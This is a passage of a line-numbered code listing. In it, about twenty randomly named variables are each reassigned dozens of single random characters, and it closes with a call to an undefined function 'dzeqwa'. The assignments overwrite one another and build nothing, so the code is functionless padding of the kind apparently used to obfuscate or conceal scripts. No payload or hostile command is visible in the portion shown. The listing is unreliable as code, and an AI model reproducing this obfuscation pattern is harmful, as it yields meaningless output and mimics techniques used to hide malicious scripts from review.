756 | cmxdtvjqh = "X"; | |
757 | cmxdtvjqh = "O"; | |
758 | cmxdtvjqh = "X"; | |
759 | cmxdtvjqh = "p"; | |
760 | cmxdtvjqh = "W"; | |
761 | cmxdtvjqh = "F"; | |
762 | cmxdtvjqh = "V"; | |
763 | cmxdtvjqh = "u"; | |
764 | cmxdtvjqh = "N"; | |
765 | cmxdtvjqh = "A"; | |
766 | cmxdtvjqh = "n"; | |
767 | cmxdtvjqh = "p"; | |
768 | cmxdtvjqh = "C"; | |
769 | cmxdtvjqh = "n"; | |
770 | cmxdtvjqh = "A"; | |
771 | cmxdtvjqh = "g"; | |
772 | cmxdtvjqh = "z"; | |
773 | cmxdtvjqh = "O"; | |
774 | cmxdtvjqh = "w"; | |
775 | cmxdtvjqh = "R"; | |
776 | cmxdtvjqh = "h"; | |
777 | cmxdtvjqh = "O"; | |
778 | cmxdtvjqh = "H"; | |
779 | cmxdtvjqh = "J"; | |
780 | cmxdtvjqh = "J"; | |
781 | cmxdtvjqh = "K"; | |
782 | cmxdtvjqh = "e"; | |
783 | cmxdtvjqh = "r"; | |
784 | cmxdtvjqh = "S"; | |
785 | cmxdtvjqh = "P"; | |
786 | cmxdtvjqh = "R"; | |
787 | cmxdtvjqh = "z"; | |
788 | cmxdtvjqh = "x"; | |
789 | cmxdtvjqh = "T"; | |
790 | cmxdtvjqh = "B"; | |
791 | cmxdtvjqh = "Y"; | |
792 | cmxdtvjqh = "M"; | |
793 | cmxdtvjqh = "N"; | |
794 | cmxdtvjqh = "g"; | |
795 | cmxdtvjqh = "k"; | |
796 | cmxdtvjqh = "K"; | |
797 | gssuymhi = "k"; | |
798 | gssuymhi = "n"; | |
799 | gssuymhi = "Q"; | |
800 | gssuymhi = "Z"; | |
801 | gssuymhi = "L"; | |
802 | gssuymhi = "t"; | |
803 | gssuymhi = "y"; | |
804 | gssuymhi = "z"; | |
805 | gssuymhi = "Y"; | |
806 | gssuymhi = "x"; | |
807 | gssuymhi = "g"; | |
808 | gssuymhi = "A"; | |
809 | gssuymhi = "p"; | |
810 | gssuymhi = "u"; | |
811 | gssuymhi = "J"; | |
812 | gssuymhi = "O"; | |
813 | gssuymhi = "w"; | |
814 | gssuymhi = "T"; | |
815 | gssuymhi = "u"; | |
816 | gssuymhi = "G"; | |
817 | gssuymhi = "W"; | |
818 | gssuymhi = "T"; | |
819 | gssuymhi = "V"; | |
820 | gssuymhi = "W"; | |
821 | gssuymhi = "k"; | |
822 | gssuymhi = "J"; | |
823 | gssuymhi = "r"; | |
824 | gssuymhi = "G"; | |
825 | gssuymhi = "c"; | |
826 | gssuymhi = "H"; | |
827 | gssuymhi = "N"; | |
828 | gssuymhi = "M"; | |
829 | gssuymhi = "D"; | |
830 | gssuymhi = "X"; | |
831 | gssuymhi = "g"; | |
832 | gssuymhi = "p"; | |
833 | gssuymhi = "s"; | |
834 | gssuymhi = "W"; | |
835 | gssuymhi = "F"; | |
836 | gssuymhi = "I"; | |
837 | gssuymhi = "u"; | |
838 | gssuymhi = "."; | |
839 | vtqjhapy = "k"; | |
840 | vtqjhapy = "y"; | |
841 | vtqjhapy = "i"; | |
842 | vtqjhapy = "s"; | |
843 | vtqjhapy = "k"; | |
844 | vtqjhapy = "a"; | |
845 | vtqjhapy = "W"; | |
846 | vtqjhapy = "N"; | |
847 | vtqjhapy = "M"; | |
848 | vtqjhapy = "z"; | |
849 | vtqjhapy = "M"; | |
850 | vtqjhapy = "r"; | |
851 | vtqjhapy = "Y"; | |
852 | vtqjhapy = "M"; | |
853 | vtqjhapy = "C"; | |
854 | vtqjhapy = "E"; | |
855 | vtqjhapy = "r"; | |
856 | vtqjhapy = "V"; | |
857 | vtqjhapy = "x"; | |
858 | vtqjhapy = "s"; | |
859 | vtqjhapy = "0"; | |
860 | ixkpdvmzu = "g"; | |
861 | ixkpdvmzu = "B"; | |
862 | ixkpdvmzu = "E"; | |
863 | ixkpdvmzu = "Z"; | |
864 | ixkpdvmzu = "Z"; | |
865 | ixkpdvmzu = "V"; | |
866 | ixkpdvmzu = "M"; | |
867 | ixkpdvmzu = "a"; | |
868 | ixkpdvmzu = "A"; | |
869 | ixkpdvmzu = "c"; | |
870 | ixkpdvmzu = "j"; | |
871 | ixkpdvmzu = "x"; | |
872 | ixkpdvmzu = "A"; | |
873 | ixkpdvmzu = "Y"; | |
874 | ixkpdvmzu = "X"; | |
875 | ixkpdvmzu = "H"; | |
876 | ixkpdvmzu = "i"; | |
877 | ixkpdvmzu = "E"; | |
878 | ixkpdvmzu = "k"; | |
879 | ixkpdvmzu = "Y"; | |
880 | ixkpdvmzu = "M"; | |
881 | ixkpdvmzu = "G"; | |
882 | ixkpdvmzu = "J"; | |
883 | ixkpdvmzu = "q"; | |
884 | ixkpdvmzu = "N"; | |
885 | ixkpdvmzu = "t"; | |
886 | ixkpdvmzu = "T"; | |
887 | ixkpdvmzu = "k"; | |
888 | ixkpdvmzu = "s"; | |
889 | ixkpdvmzu = "F"; | |
890 | ixkpdvmzu = "u"; | |
891 | ixkpdvmzu = "h"; | |
892 | ixkpdvmzu = "a"; | |
893 | ixkpdvmzu = "Q"; | |
894 | ixkpdvmzu = "D"; | |
895 | ixkpdvmzu = "Y"; | |
896 | cgzrtp = "X"; | |
897 | cgzrtp = "c"; | |
898 | negdzzjo = "y"; | |
899 | negdzzjo = "r"; | |
900 | negdzzjo = "e"; | |
901 | negdzzjo = "z"; | |
902 | negdzzjo = "Q"; | |
903 | negdzzjo = "R"; | |
904 | negdzzjo = "A"; | |
905 | negdzzjo = "\\"; | |
906 | hqgkolgq = "F"; | |
907 | hqgkolgq = "l"; | |
908 | hqgkolgq = "X"; | |
909 | hqgkolgq = "q"; | |
910 | hqgkolgq = "u"; | |
911 | hqgkolgq = "a"; | |
912 | hqgkolgq = "R"; | |
913 | hqgkolgq = "A"; | |
914 | hqgkolgq = "Q"; | |
915 | hqgkolgq = "a"; | |
916 | hqgkolgq = "B"; | |
917 | hqgkolgq = "j"; | |
918 | hqgkolgq = "q"; | |
919 | hqgkolgq = "i"; | |
920 | hqgkolgq = "a"; | |
921 | hqgkolgq = "y"; | |
922 | hqgkolgq = "D"; | |
923 | hqgkolgq = "y"; | |
924 | hqgkolgq = "j"; | |
925 | lfvmxxhtl = "q"; | |
926 | lfvmxxhtl = "I"; | |
927 | lfvmxxhtl = "m"; | |
928 | lfvmxxhtl = "j"; | |
929 | lfvmxxhtl = "L"; | |
930 | lfvmxxhtl = "r"; | |
931 | lfvmxxhtl = "V"; | |
932 | lfvmxxhtl = "Q"; | |
933 | lfvmxxhtl = "j"; | |
934 | lfvmxxhtl = "A"; | |
935 | lfvmxxhtl = "K"; | |
936 | lfvmxxhtl = "E"; | |
937 | lfvmxxhtl = "R"; | |
938 | lfvmxxhtl = "d"; | |
939 | lfvmxxhtl = "C"; | |
940 | lfvmxxhtl = "f"; | |
941 | iinmyvlzl = "g"; | |
942 | iinmyvlzl = "m"; | |
943 | iinmyvlzl = "c"; | |
944 | iinmyvlzl = "N"; | |
945 | iinmyvlzl = "r"; | |
946 | iinmyvlzl = "H"; | |
947 | iinmyvlzl = "F"; | |
948 | iinmyvlzl = "H"; | |
949 | iinmyvlzl = "m"; | |
950 | iinmyvlzl = "R"; | |
951 | iinmyvlzl = "G"; | |
952 | iinmyvlzl = "A"; | |
953 | iinmyvlzl = "Z"; | |
954 | iinmyvlzl = "k"; | |
955 | iinmyvlzl = "t"; | |
956 | iinmyvlzl = "u"; | |
957 | iinmyvlzl = "f"; | |
958 | iinmyvlzl = "d"; | |
959 | iinmyvlzl = "o"; | |
960 | iinmyvlzl = "t"; | |
961 | iinmyvlzl = "u"; | |
962 | iinmyvlzl = "b"; | |
963 | iinmyvlzl = "n"; | |
964 | iinmyvlzl = "A"; | |
965 | iinmyvlzl = "Q"; | |
966 | iinmyvlzl = "E"; | |
967 | iinmyvlzl = "i"; | |
968 | iinmyvlzl = "r"; | |
969 | iinmyvlzl = "r"; | |
970 | iinmyvlzl = "j"; | |
971 | iinmyvlzl = "n"; | |
972 | iinmyvlzl = "j"; | |
973 | iinmyvlzl = "k"; | |
974 | iinmyvlzl = "f"; | |
975 | iinmyvlzl = "I"; | |
976 | iinmyvlzl = "p"; | |
977 | iinmyvlzl = "w"; | |
978 | iinmyvlzl = "L"; | |
979 | iinmyvlzl = "k"; | |
980 | iinmyvlzl = "V"; | |
981 | iinmyvlzl = "w"; | |
982 | xvmtuobjj = "i"; | |
983 | xvmtuobjj = "O"; | |
984 | xvmtuobjj = "O"; | |
985 | xvmtuobjj = "j"; | |
986 | xvmtuobjj = "m"; | |
987 | xvmtuobjj = "L"; | |
988 | xvmtuobjj = "c"; | |
989 | xvmtuobjj = "g"; | |
990 | xvmtuobjj = "F"; | |
991 | xvmtuobjj = "P"; | |
992 | xvmtuobjj = "Q"; | |
993 | xvmtuobjj = "e"; | |
994 | xvmtuobjj = "R"; | |
995 | zrtbhic = "R"; | |
996 | zrtbhic = "S"; | |
997 | zrtbhic = "o"; | |
998 | eiwuni = "b"; | |
999 | eiwuni = "D"; | |
1000 | eiwuni = "w"; | |
1001 | eiwuni = "-"; | |
1002 | nlulg = "R"; | |
1003 | nlulg = "X"; | |
1004 | nlulg = "j"; | |
1005 | nlulg = "v"; | |
1006 | nlulg = "V"; | |
1007 | nlulg = "a"; | |
1008 | nlulg = "q"; | |
1009 | nlulg = "H"; | |
1010 | nlulg = "k"; | |
1011 | nlulg = "p"; | |
1012 | nlulg = "O"; | |
1013 | nlulg = "J"; | |
1014 | nlulg = "O"; | |
1015 | nlulg = "R"; | |
1016 | nlulg = "J"; | |
1017 | nlulg = "n"; | |
1018 | nlulg = "t"; | |
1019 | nlulg = "T"; | |
1020 | nlulg = "d"; | |
1021 | nlulg = "q"; | |
1022 | nlulg = "Q"; | |
1023 | nlulg = "h"; | |
1024 | nlulg = "P"; | |
1025 | nlulg = "w"; | |
1026 | nlulg = "h"; | |
1027 | nlulg = "m"; | |
1028 | nlulg = "Y"; | |
1029 | nlulg = "m"; | |
1030 | nlulg = "w"; | |
1031 | nlulg = "I"; | |
1032 | nlulg = "Q"; | |
1033 | nlulg = "v"; | |
1034 | nlulg = "T"; | |
1035 | nlulg = "X"; | |
1036 | nlulg = "N"; | |
1037 | nlulg = "k"; | |
1038 | nlulg = "x"; | |
1039 | nlulg = "Q"; | |
1040 | nlulg = "f"; | |
1041 | nlulg = "m"; | |
1042 | nlulg = "y"; | |
1043 | nlulg = "l"; | |
1044 | nlulg = "F"; | |
1045 | auoervwz = "A"; | |
1046 | auoervwz = "P"; | |
1047 | auoervwz = "p"; | |
1048 | auoervwz = "z"; | |
1049 | auoervwz = "G"; | |
1050 | auoervwz = "A"; | |
1051 | auoervwz = "d"; | |
1052 | auoervwz = "u"; | |
1053 | auoervwz = "e"; | |
1054 | auoervwz = "T"; | |
1055 | auoervwz = "8"; | |
1056 | zakopmb = "E"; | |
1057 | zakopmb = "x"; | |
1058 | zakopmb = "a"; | |
1059 | zakopmb = "D"; | |
1060 | zakopmb = "w"; | |
1061 | zakopmb = "v"; | |
1062 | zakopmb = "o"; | |
1063 | zakopmb = "T"; | |
1064 | zakopmb = "h"; | |
1065 | zakopmb = "H"; | |
1066 | zakopmb = "d"; | |
1067 | zakopmb = "g"; | |
1068 | zakopmb = "B"; | |
1069 | zakopmb = "b"; | |
1070 | zakopmb = "h"; | |
1071 | zakopmb = "T"; | |
1072 | zakopmb = "a"; | |
1073 | zakopmb = "L"; | |
1074 | zakopmb = "r"; | |
1075 | zakopmb = "_"; | |
1076 | lndbtqh = "J"; | |
1077 | lndbtqh = "i"; | |
1078 | lndbtqh = "m"; | |
1079 | lndbtqh = "V"; | |
1080 | lndbtqh = "s"; | |
1081 | lndbtqh = "a"; | |
1082 | cditqon = "y"; | |
1083 | cditqon = "d"; | |
1084 | cditqon = "D"; | |
1085 | cditqon = "P"; | |
1086 | cditqon = "S"; | |
1087 | cditqon = "v"; | |
1088 | cditqon = "i"; | |
1089 | cditqon = "d"; | |
1090 | cditqon = "E"; | |
1091 | cditqon = "s"; | |
1092 | cditqon = "j"; | |
1093 | cditqon = "J"; | |
1094 | cditqon = "x"; | |
1095 | cditqon = "d"; | |
1096 | cditqon = "D"; | |
1097 | cditqon = "N"; | |
1098 | cditqon = "S"; | |
1099 | cditqon = "T"; | |
1100 | cditqon = "i"; | |
1101 | cditqon = "v"; | |
1102 | cditqon = "X"; | |
1103 | cditqon = "Y"; | |
1104 | cditqon = "x"; | |
1105 | cditqon = "m"; | |
1106 | cditqon = "L"; | |
1107 | cditqon = "S"; | |
1108 | cditqon = "P"; | |
1109 | cditqon = "F"; | |
1110 | cditqon = "d"; | |
1111 | cditqon = "1"; | |
1112 | htjhb = "t"; | |
1113 | htjhb = "b"; | |
1114 | htjhb = "V"; | |
1115 | htjhb = "t"; | |
1116 | htjhb = "w"; | |
1117 | htjhb = "O"; | |
1118 | htjhb = "x"; | |
1119 | htjhb = "f"; | |
1120 | htjhb = "f"; | |
1121 | htjhb = "t"; | |
1122 | htjhb = "F"; | |
1123 | htjhb = "v"; | |
1124 | htjhb = "v"; | |
1125 | htjhb = "D"; | |
1126 | htjhb = "h"; | |
1127 | htjhb = "u"; | |
1128 | htjhb = "b"; | |
1129 | htjhb = "X"; | |
1130 | htjhb = "q"; | |
1131 | htjhb = "a"; | |
1132 | htjhb = "t"; | |
1133 | htjhb = "n"; | |
1134 | htjhb = "X"; | |
1135 | htjhb = "E"; | |
1136 | htjhb = "Q"; | |
1137 | htjhb = "M"; | |
1138 | htjhb = "7"; | |
1139 | ioomf = "f"; | |
1140 | ioomf = "a"; | |
1141 | ioomf = "L"; | |
1142 | ioomf = "Z"; | |
1143 | ioomf = "S"; | |
1144 | ioomf = "s"; | |
1145 | ioomf = "t"; | |
1146 | ioomf = "A"; | |
1147 | ioomf = "L"; | |
1148 | ioomf = "Q"; | |
1149 | ioomf = "m"; | |
1150 | ioomf = "T"; | |
1151 | ioomf = "A"; | |
1152 | ioomf = "s"; | |
1153 | ioomf = "i"; | |
1154 | ioomf = "s"; | |
1155 | ioomf = "o"; | |
1156 | ioomf = "y"; | |
1157 | ioomf = "z"; | |
1158 | ioomf = "z"; | |
1159 | ioomf = "E"; | |
1160 | ioomf = "o"; | |
1161 | ioomf = "k"; | |
1162 | ioomf = "g"; | |
1163 | ioomf = "S"; | |
1164 | ioomf = "v"; | |
1165 | ioomf = "B"; | |
1166 | ioomf = "Z"; | |
1167 | ioomf = "r"; | |
1168 | ioomf = "s"; | |
1169 | ioomf = "J"; | |
1170 | ioomf = "u"; | |
1171 | ioomf = "D"; | |
1172 | ioomf = "G"; | |
1173 | ioomf = "U"; | |
1174 | ioomf = "i"; | |
1175 | ioomf = "u"; | |
1176 | ioomf = "Y"; | |
1177 | ioomf = "G"; | |
1178 | ioomf = "n"; | |
1179 | ioomf = "m"; | |
1180 | ioomf = "U"; | |
1181 | kcbsv = "D"; | |
1182 | kcbsv = "J"; | |
1183 | kcbsv = "w"; | |
1184 | kcbsv = "w"; | |
1185 | kcbsv = "r"; | |
1186 | kcbsv = "Z"; | |
1187 | kcbsv = "K"; | |
1188 | kcbsv = "y"; | |
1189 | kcbsv = "d"; | |
1190 | kcbsv = "I"; | |
1191 | kcbsv = "Y"; | |
1192 | kcbsv = "U"; | |
1193 | kcbsv = "k"; | |
1194 | kcbsv = "m"; | |
1195 | kcbsv = "d"; | |
1196 | kcbsv = "j"; | |
1197 | kcbsv = "A"; | |
1198 | kcbsv = "l"; | |
1199 | kcbsv = "G"; | |
1200 | kcbsv = "R"; | |
1201 | kcbsv = "s"; | |
1202 | kcbsv = "u"; | |
1203 | kcbsv = "W"; | |
1204 | kcbsv = "W"; | |
1205 | kcbsv = "k"; | |
1206 | kcbsv = "b"; | |
1207 | kcbsv = "r"; | |
1208 | kcbsv = "I"; | |
1209 | kcbsv = "S"; | |
1210 | kcbsv = "d"; | |
1211 | kcbsv = "u"; | |
1212 | kcbsv = "g"; | |
1213 | kcbsv = "d"; | |
1214 | kcbsv = "B"; | |
1215 | kcbsv = "o"; | |
1216 | kcbsv = "y"; | |
1217 | kcbsv = "Q"; | |
1218 | kcbsv = "l"; | |
1219 | kcbsv = ":"; | |
1220 | rgsjpyvgj = "w"; | |
1221 | rgsjpyvgj = "R"; | |
1222 | rgsjpyvgj = "U"; | |
1223 | rgsjpyvgj = "P"; | |
1224 | vzzalvv = "r"; | |
1225 | vzzalvv = "r"; | |
1226 | vzzalvv = "e"; | |
1227 | vzzalvv = "q"; | |
1228 | vzzalvv = "M"; | |
1229 | vzzalvv = "Q"; | |
1230 | vzzalvv = "O"; | |
1231 | vzzalvv = "Z"; | |
1232 | vzzalvv = "J"; | |
1233 | vzzalvv = "w"; | |
1234 | vzzalvv = "D"; | |
1235 | vzzalvv = "F"; | |
1236 | vzzalvv = "O"; | |
1237 | vzzalvv = "P"; | |
1238 | vzzalvv = "i"; | |
1239 | vzzalvv = "T"; | |
1240 | vzzalvv = "d"; | |
1241 | vzzalvv = "S"; | |
1242 | vzzalvv = "C"; | |
1243 | vzzalvv = "c"; | |
1244 | vzzalvv = "i"; | |
1245 | vzzalvv = "k"; | |
1246 | vzzalvv = "I"; | |
1247 | vzzalvv = "J"; | |
1248 | vzzalvv = "U"; | |
1249 | vzzalvv = "m"; | |
1250 | bbvmf = "E"; | |
1251 | bbvmf = "m"; | |
1252 | bbvmf = "l"; | |
1253 | bbvmf = "f"; | |
1254 | bbvmf = "v"; | |
1255 | bbvmf = "p"; | |
1256 | bbvmf = "h"; | |
1257 | bbvmf = "N"; | |
1258 | bbvmf = "R"; | |
1259 | bbvmf = "E"; | |
1260 | bbvmf = "Q"; | |
1261 | bbvmf = "T"; | |
1262 | bbvmf = "g"; | |
1263 | bbvmf = "S"; | |
1264 | bbvmf = "D"; | |
1265 | bbvmf = "i"; | |
1266 | bbvmf = "R"; | |
1267 | bbvmf = "Z"; | |
1268 | bbvmf = "o"; | |
1269 | bbvmf = "v"; | |
1270 | bbvmf = "i"; | |
1271 | bbvmf = "X"; | |
1272 | bbvmf = "C"; | |
1273 | bbvmf = "e"; | |
1274 | bbvmf = "d"; | |
1275 | bbvmf = "S"; | |
1276 | hlnlp = "M"; | |
1277 | hlnlp = "t"; | |
1278 | hlnlp = "V"; | |
1279 | hlnlp = "k"; | |
1280 | hlnlp = "j"; | |
1281 | hlnlp = "Z"; | |
1282 | hlnlp = "I"; | |
1283 | hlnlp = "O"; | |
1284 | hlnlp = "x"; | |
1285 | hlnlp = "\""; | |
1286 | hhatckohb = "n"; | |
1287 | hhatckohb = "Z"; | |
1288 | hhatckohb = "G"; | |
1289 | hhatckohb = "h"; | |
1290 | hhatckohb = "X"; | |
1291 | hhatckohb = "v"; | |
1292 | hhatckohb = "Q"; | |
1293 | hhatckohb = "k"; | |
1294 | hhatckohb = "A"; | |
1295 | hhatckohb = "Y"; | |
1296 | hhatckohb = "M"; | |
1297 | hhatckohb = "O"; | |
1298 | hhatckohb = "K"; | |
1299 | hhatckohb = "j"; | |
1300 | hhatckohb = "W"; | |
1301 | hhatckohb = "m"; | |
1302 | hhatckohb = "h"; | |
1303 | hhatckohb = "D"; | |
1304 | hhatckohb = "T"; | |
1305 | hhatckohb = "g"; | |
1306 | hhatckohb = "J"; | |
1307 | hhatckohb = "c"; | |
1308 | hhatckohb = "h"; | |
1309 | hhatckohb = "n"; | |
1310 | hhatckohb = "X"; | |
1311 | hhatckohb = "d"; | |
1312 | fxxox = "S"; | |
1313 | fxxox = "c"; | |
1314 | fxxox = "y"; | |
1315 | fxxox = "n"; | |
1316 | fxxox = "H"; | |
1317 | fxxox = "S"; | |
1318 | fxxox = "C"; | |
1319 | fxxox = "j"; | |
1320 | fxxox = "K"; | |
1321 | fxxox = "q"; | |
1322 | fxxox = "G"; | |
1323 | fxxox = "J"; | |
1324 | fxxox = "i"; | |
1325 | fxxox = "j"; | |
1326 | fxxox = "H"; | |
1327 | bbftpndsz = "Y"; | |
1328 | bbftpndsz = "T"; | |
1329 | bbftpndsz = "y"; | |
1330 | bbftpndsz = "j"; | |
1331 | bbftpndsz = "C"; | |
1332 | bbftpndsz = "B"; | |
1333 | bbftpndsz = "e"; | |
1334 | bbftpndsz = "/"; | |
1335 | mriqq = "I"; | |
1336 | mriqq = "n"; | |
1337 | mriqq = "l"; | |
1338 | mriqq = "F"; | |
1339 | mriqq = "h"; | |
1340 | mriqq = "Z"; | |
1341 | mriqq = "V"; | |
1342 | mriqq = "U"; | |
1343 | mriqq = "P"; | |
1344 | mriqq = "y"; | |
1345 | mriqq = "U"; | |
1346 | mriqq = "i"; | |
1347 | mriqq = "P"; | |
1348 | mriqq = "N"; | |
1349 | mriqq = "N"; | |
1350 | mriqq = "J"; | |
1351 | mriqq = "v"; | |
1352 | mriqq = "W"; | |
1353 | mriqq = "e"; | |
1354 | mriqq = "f"; | |
1355 | mriqq = "e"; | |
1356 | mriqq = "C"; | |
1357 | mriqq = "S"; | |
1358 | mriqq = "m"; | |
1359 | mriqq = "T"; | |
1360 | mriqq = "V"; | |
1361 | mriqq = "K"; | |
1362 | mriqq = "r"; | |
1363 | mriqq = "X"; | |
1364 | mriqq = "i"; | |
1365 | mriqq = "Q"; | |
1366 | mriqq = "T"; | |
1367 | mriqq = "H"; | |
1368 | mriqq = "h"; | |
1369 | mriqq = "B"; | |
1370 | mriqq = "9"; | |
1371 | rshqdem = "E"; | |
1372 | rshqdem = "f"; | |
1373 | rshqdem = "O"; | |
1374 | rshqdem = "i"; | |
1375 | rshqdem = "h"; | |
1376 | rshqdem = "x"; | |
1377 | rshqdem = "a"; | |
1378 | rshqdem = "e"; | |
1379 | dzeqwa ( ); |
|